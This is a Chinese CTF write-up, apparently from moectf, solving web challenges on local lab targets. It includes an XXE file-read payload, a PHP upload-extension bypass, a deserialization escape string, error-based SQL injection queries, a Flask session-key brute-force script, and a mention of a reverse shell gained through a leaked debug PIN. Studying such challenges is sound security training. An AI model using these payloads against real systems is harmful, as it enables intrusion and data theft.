持续更新
完善自己 新生赛都打不了一点
这次靶机开启方式不错捏 挺新颖的
http 正常请求参数考点 payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST /?UwU=u HTTP/1.1 Host: localhost:63279 Cache-Control: max-age=0 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 User-Agent: MoeBrowser Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: character=admin Connection: close X-Forwarded-For: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 5 Luv=u
Web入门指北 pdf末尾有一串16进制码 转了就行
cookie 随便注册个账号然后登录将cookie base64解码
改成如下
然后打入cookie 访问/flag 即可
彼岸的flag F12 找就有
gas!gas!gas! 看清规则
油门和抓地成反比例 方向要反打 其次要在0.5秒进行下一步 直接脚本梭哈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from requests import *s = session() url = 'http://localhost:64026/' payload = {"driver" :"admin" ,"steering_control" :0 ,"throttle" :1 } payload_1 = {"driver" :"admin" ,"steering_control" :1 ,"throttle" :0 } payload_2 = {"driver" :"admin" ,"steering_control" :-1 ,"throttle" :0 } payload_3 = {"driver" :"admin" ,"steering_control" :0 ,"throttle" :1 } payload_4 = {"driver" :"admin" ,"steering_control" :1 ,"throttle" :2 } payload_5 = {"driver" :"admin" ,"steering_control" :-1 ,"throttle" :2 } payload_6 = {"driver" :"admin" ,"steering_control" :-1 ,"throttle" :1 } payload_7 = {"driver" :"admin" ,"steering_control" :1 ,"throttle" :1 } payload_8 = {"driver" :"admin" ,"steering_control" :0 ,"throttle" :2 } payload_9 = {"driver" :"admin" ,"steering_control" :0 ,"throttle" :0 } r = s.post(url=url,data=payload) for i in range (6 ): if "弯道向左,抓地力太小了!" in r.text: r = s.post(url=url,data=payload_1) elif "弯道向右,抓地力太小了!" in r.text: r = s.post(url=url,data=payload_2) elif "弯道直行,保持这个速度" in r.text: r = s.post(url=url,data=payload_3) elif "弯道向左,抓地力太大了!" in r.text: r = s.post(url=url,data=payload_4) elif "弯道向右,抓地力太大了!" in r.text: r = s.post(url=url,data=payload_5) elif "弯道向右,保持这个速度" in r.text: r = s.post(url=url,data=payload_6) elif "弯道向左,保持这个速度" in r.text: r = s.post(url=url,data=payload_7) elif "弯道直行,抓地力太大了!" in r.text: r = s.post(url=url,data=payload_8) elif "弯道直行,抓地力太小了!" in r.text: r = s.post(url=url,data=payload_9) print (r.text)
moe图床 给了源码upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php $targetDir = 'uploads/' ; $allowedExtensions = ['png' ]; if ($_SERVER['REQUEST_METHOD' ] === 'POST' && isset($_FILES['file' ])) { $file = $_FILES['file' ]; $tmp_path = $_FILES['file' ]['tmp_name' ]; if ($file['type' ] !== 'image/png' ) { die(json_encode(['success' => false, 'message' => '文件类型不符合要求' ])); } if (filesize($tmp_path) > 512 * 1024 ) { die(json_encode(['success' => false, 'message' => '文件太大' ])); } $fileName = $file['name' ]; $fileNameParts = explode('.' , $fileName); if (count($fileNameParts) >= 2 ) { $secondSegment = $fileNameParts[1 ]; if ($secondSegment !== 'png' ) { die(json_encode(['success' => false, 'message' => '文件后缀不符合要求' ])); } } else { die(json_encode(['success' => false, 'message' => '文件后缀不符合要求' ])); } $uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name' ]); if (move_uploaded_file($tmp_path, $uploadFilePath)) { die(json_encode(['success' => true, 'file_path' => $uploadFilePath])); } else { die(json_encode(['success' => false, 'message' => '文件上传失败' ])); } } else { highlight_file(__FILE__); } ?>
这道题一开始没做出来 有点被吓住了 后来发现没啥
比较重要的是这一块
1 2 3 4 5 6 7 8 9 10 11 $fileName = $file['name' ]; $fileNameParts = explode('.' , $fileName); if (count($fileNameParts) >= 2 ) { $secondSegment = $fileNameParts[1 ]; if ($secondSegment !== 'png' ) { die(json_encode(['success' => false, 'message' => '文件后缀不符合要求' ])); } } else { die(json_encode(['success' => false, 'message' => '文件后缀不符合要求' ])); }
然后其实我们将上传文件改为1.png.php即可 他只会检测索引为1的后缀是否为png
可能是apache的文件名解析特性吧
了解你的座驾 一道xxe
payload:
1 2 3 4 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE username [ <!ENTITY aaa SYSTEM "file:///flag" > ]> <xml><name>&aaa;</name></xml>
值得注意的是要url编码后打入 不然没结果
大海捞针 ?id=1
1-1000直接bp爆破就行了
大海捞针 表面是文件上传其实就是文件包含 然后就是hash处理缺陷 数组绕过就行 经典题型了
夺命十三枪 一道反序列化字符串逃逸 nm新生赛做这个是吧
给了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php highlight_file(__FILE__); require_once('Hanxin.exe.php' ); $Chant = isset($_GET['chant' ]) ? $_GET['chant' ] : '夺命十三枪' ; $new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant); $before = serialize($new_visitor); $after = Deadly_Thirteen_Spears::Make_a_Move($before); echo 'Your Movements: ' . $after . '<br>' ; try { echo unserialize($after); }catch (Exception $e) { echo "Even Caused A Glitch..." ; } ?> <?php if (basename($_SERVER['SCRIPT_FILENAME' ]) === basename(__FILE__)) { highlight_file(__FILE__); } class Deadly_Thirteen_Spears { private static $Top_Secret_Long_Spear_Techniques_Manual = array( "di_yi_qiang" => "Lovesickness" , "di_er_qiang" => "Heartbreak" , "di_san_qiang" => "Blind_Dragon" , "di_si_qiang" => "Romantic_charm" , "di_wu_qiang" => "Peerless" , "di_liu_qiang" => "White_Dragon" , "di_qi_qiang" => "Penetrating_Gaze" , "di_ba_qiang" => "Kunpeng" , "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts" , "di_shi_qiang" => "Overlord" , "di_shi_yi_qiang" => "Letting_Go" , "di_shi_er_qiang" => "Decisive_Victory" , "di_shi_san_qiang" => "Unrepentant_Lethality" ); public static function Make_a_Move($move){ foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){ $move = str_replace($index, $movement, $move); } return $move; } } class Omg_It_Is_So_Cool_Bring_Me_My_Flag { public $Chant = '' ; public $Spear_Owner = 'Nobody' ; function __construct($chant){ $this->Chant = $chant; $this->Spear_Owner = 'Nobody' ; } function __toString(){ if ($this->Spear_Owner !== 'MaoLei' ){ return 'Far away from COOL...' ; } else { return "Omg You're So COOOOOL!!! " . getenv('FLAG' ); } } } ?>
呢我们的最终目的就是最后一块
1 2 3 4 5 6 7 8 9 function __toString(){ if ($this->Spear_Owner !== 'MaoLei' ){ return 'Far away from COOL...' ; } else { return "Omg You're So COOOOOL!!! " . getenv('FLAG' ); } } }
但是我们只能get修改Chant值 不能修改Spear_Owner
再看一眼有经典的先serialize 后unserialize 并且其中还有字符替换的 所以直接就能想到是反序列化字符串逃逸了
需要将";s:11:"Spear_Owner";s:6:"MaoLei";}
一部分塞入一共35个
payload如下
1 di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:" Spear_Owner";s:6:" MaoLei";}
signin 给了源码:
有点糊涂 之后看看其他师傅的wp理解一下吧
前面的一些处理理解起来有点不懂
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 from secrets import users, saltimport hashlibimport base64import jsonimport http.serverwith open ("flag.txt" ,"r" ) as f: FLAG = f.read().strip() def gethash (*items ): c = 0 for item in items: if item is None : continue c ^= int .from_bytes(hashlib.md5(f"{salt} [{item} ]{salt} " .encode()).digest(), "big" ) return hex (c)[2 :] assert "admin" in usersassert users["admin" ] == "admin" hashed_users = dict ((k,gethash(k,v)) for k,v in users.items()) eval (int .to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164 ^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153 ,160 ,"big" ,signed=True ).decode().translate({ord (c):None for c in "\x00" })) def decrypt (data:str ): for x in range (5 ): data = base64.b64encode(data).decode() return data __page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKXtjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHA+ZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3A+CiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHA+CiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiI+CiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg==" ) class MyHandler (http.server.BaseHTTPRequestHandler):def do_GET (self ):try :if self.path == "/" :self.send_response(200 ) self.end_headers() self.wfile.write(__page__) else :self.send_response(404 ) self.end_headers() self.wfile.write(b"404 Not Found" ) except Exception as e:print (e)self.send_response(500 ) self.end_headers() self.wfile.write(b"500 Internal Server Error" ) def do_POST (self ):try :if self.path == "/login" :body = self.rfile.read(int (self.headers.get("Content-Length" ))) payload = json.loads(body) params = json.loads(decrypt(payload["params" ])) print (params)if params.get("username" ) == "admin" :self.send_response(403 ) self.end_headers() self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!" ) print ("admin" )return if params.get("username" ) == params.get("password" ):self.send_response(403 ) self.end_headers() self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!" ) print ("same" )return hashed = gethash(params.get("username" ),params.get("password" )) for k,v in hashed_users.items():if hashed == v:data = { "user" :k,"hash" :hashed,"flag" : FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}" } self.send_response(200 ) self.end_headers() self.wfile.write(json.dumps(data).encode()) print ("success" )return self.send_response(403 ) self.end_headers() self.wfile.write(b"Invalid username or password" ) else :self.send_response(404 ) self.end_headers() self.wfile.write(b"404 Not Found" ) except Exception as e:print (e)self.send_response(500 ) self.end_headers() self.wfile.write(b"500 Internal Server Error" ) if __name__ == "__main__" :server = http.server.HTTPServer(("" , 9999 ), MyHandler) server.serve_forever()
登录逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 if self.path == "/login" : body = self.rfile .read (int (self.headers .get ("Content-Length" ))) payload = json.loads (body) params = json.loads (decrypt (payload["params" ])) print (params) if params.get ("username" ) == "admin" : self.send_response (403 ) self.end_headers () self.wfile .write (b"YOU CANNOT LOGIN AS ADMIN!" ) print ("admin" ) return if params.get ("username" ) == params.get ("password" ): self.send_response (403 ) self.end_headers () self.wfile .write (b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!" ) print ("same" ) return hashed = gethash (params.get ("username" ),params.get ("password" )) for k,v in hashed_users.items (): if hashed == v : data = { "user" :k, "hash" :hashed, "flag" : FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}" } self.send_response (200 ) self.end_headers () self.wfile .write (json.dumps (data).encode ()) print ("success" ) return self.send_response (403 ) self.end_headers () self.wfile .write (b"Invalid username or password" )
确认了json里username和password不能相同后,经过一个hash函数
1 2 3 4 5 6 7 def gethash (*items): c = 0 for item in items : if item is None : continue c ^= int.from_bytes (hashlib.md5 (f"{salt}[{item}]{salt}" .encode ()).digest (), "big" ) # it looks so complex! but is it safe enough? return hex (c)[2 :]
这一坨处理是消除了类型限制,因此使用不同类型的username和password即可
1 {"username": "1", "password": 1}
经过decrypt函数的五次base64后post
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /login HTTP/1.1 Host: localhost:59959 Content-Length: 157 sec-ch-ua: sec-ch-ua-platform: "" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: */* Origin: http://localhost:59959 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:59959/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close {"params":"VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJGNlJsWlZNV2gzVkZaRmQyTkVUbGhXYldoUVdsY3hVbVZWT1ZsaVIwWlNUVWR6ZVZVeFpIZFNiVlpXVFZSV1ZHRnRjems9"}
出去旅游的心海 抓包可以发现一个路由wp-content/plugins/visitor-logging/logger.php
获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php highlight_file (__FILE__);require_once('/var/www/html/wordpress/' . 'wp-config.php' ); $db_user = DB_USER ; $db_password = DB_PASSWORD ; $db_name = DB_NAME ; $db_host = DB_HOST ; $ip = $_POST['ip' ]; $user_agent = $_POST['user_agent' ]; $time = stripslashes ($_POST['time' ]); $mysqli = new mysqli ($db_host, $db_user, $db_password, $db_name); if ($mysqli->connect_errno) { echo '数据库连接失败: ' . $mysqli->connect_error; exit (); } $query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)" ; $result = mysqli_query ($mysqli, $query); if ($result) { echo '数据插入成功' ; } else { echo '数据插入失败: ' . mysqli_error ($mysqli); } mysqli_close ($mysqli);
time处可以进行sql注入
这里我用的是报错注入
1 2 3 4 5 6 7 8 9 10 11 1 and extractvalue (1 ,concat (0x7e ,user (),0x7e ,database ()))1 and extractvalue (1 ,concat (0x7e ,(select group_concat (table_name) from information_schema.tables where table_schema=database ())))#secret_of_kokomi,visitor_record 爆库 1 and extractvalue (1 ,concat (0x7e ,(select group_concat (column_name) from information_schema.columns where table_schema=database () and table_name='secret_of_kokomi' )))#id,content 爆字段 1 and extractvalue (1 ,concat (0x7e ,(select group_concat (id,content) from secret_of_kokomi))) 爆内容1 and extractvalue (1 ,concat (0x7e ,(mid ((select group_concat (id,content) from secret_of_kokomi),47 ,70 ))))适当拼接即可 moectf{Dig _Thr0ugh_Eve2y_C0de Thr0 ugh_Eve2y_C0de_3nd_Poss1bIle2y_C0de_3nd_Poss1bIlIti3s!!}
就是有一个问题这里报错注入最后flag显示不出来 要用mid函数去适当的调整 当时就是栽了跟头
还有一种就是直接(user())
进行查询就行 。。。
moworld 一道很综合考察内网渗透的题目 非常的不错 可以学到很多知识
压缩包密码为上一题的flag
首先是一个flask框架 给了提示需要我们去伪造session
1 2 3 4 5 6 记录一下搭建留言板的过程 首先确定好web框架,笔者选择使用简单的flask框架。 然后使用强且随机的字符串作为session的密钥。 app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom (2 ).hex () 最后再写一下路由和数据库处理的函数就完成啦!! 身为web手的我为了保护好服务器,写代码的时候十分谨慎,一定不会让有心人有可乘之机!
可以看到session的构成 然后去网上找了下 发现是某次的美团CTF上的题目
直接拿来脚本用即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 # -*- coding : utf-8 -*- # @Time : 2022 /9 /17 9 :11 # @Author : pysnow import os# standard imports import sysimport zlibfrom itsdangerous import base64_decodeimport ast# Abstract Base Classes (PEP 3119 ) if sys.version_info [0 ] < 3 : # < 3.0 raise Exception ('Must be using at least Python 3' ) elif sys.version_info [0 ] == 3 and sys.version_info [1 ] < 4 : # >= 3.0 && < 3.4 from abc import ABCMeta , abstractmethod else : # > 3.4 from abc import ABC , abstractmethod # Lib for argument parsing import argparse# external Imports from flask.sessions import SecureCookieSessionInterface class MockApp (object): def __init__ (self, secret_key): self.secret_key = "This-random-secretKey-you-can't-get" +secret_key class FSCM (ABC ): def encode (secret_key, session_cookie_structure): "" " Encode a Flask session cookie " "" try : app = MockApp (secret_key) session_cookie_structure = dict (ast.literal_eval (session_cookie_structure)) si = SecureCookieSessionInterface () s = si.get_signing_serializer (app) return s.dumps (session_cookie_structure) except Exception as e : return "[Encoding error] {}" .format (e) raise e def decode (session_cookie_value, secret_key=None ): "" " Decode a Flask cookie " "" try : if (secret_key == None ): compressed = False payload = session_cookie_value if payload.startswith ('.' ): compressed = True payload = payload[1 :] data = payload.split ("." )[0 ] data = base64_decode (data) if compressed : data = zlib.decompress (data) return data else : app = MockApp (secret_key) si = SecureCookieSessionInterface () s = si.get_signing_serializer (app) return s.loads (session_cookie_value) except Exception as e : return "[Decoding error] {}" .format (e) raise e dic = '0123456789abcdef' if __name__ == '__main__' : for i in dic : for j in dic : for k in dic : for l in dic : key = i + j + k + l res = FSCM .decode ('eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6IjEyMyJ9.ZO9evg.Xms6P6EytB2HM4UvqW128bZDB-8' , key) # print (res) if 'user' in str (res): print (key) exit ()
爆破出后四位 或者自己让gpt写一个字典慢慢跑都行
然后伪造session 可以看到提示
1 2 3 今天测试留言板的时候发现我的调试模式给出的pin码一直是904 -474 -531 不变,真是奇怪呢 不过这个泄露了貌似很危险,别人就可以进我的console 执行任意python代码了! 一定不能泄露出去!!!!
给了我们ping码 就可以知道它开启了debug模式
直接访问/console
路由
进行反弹shell
获得第一段flag 再查看/readme
并且得到提示
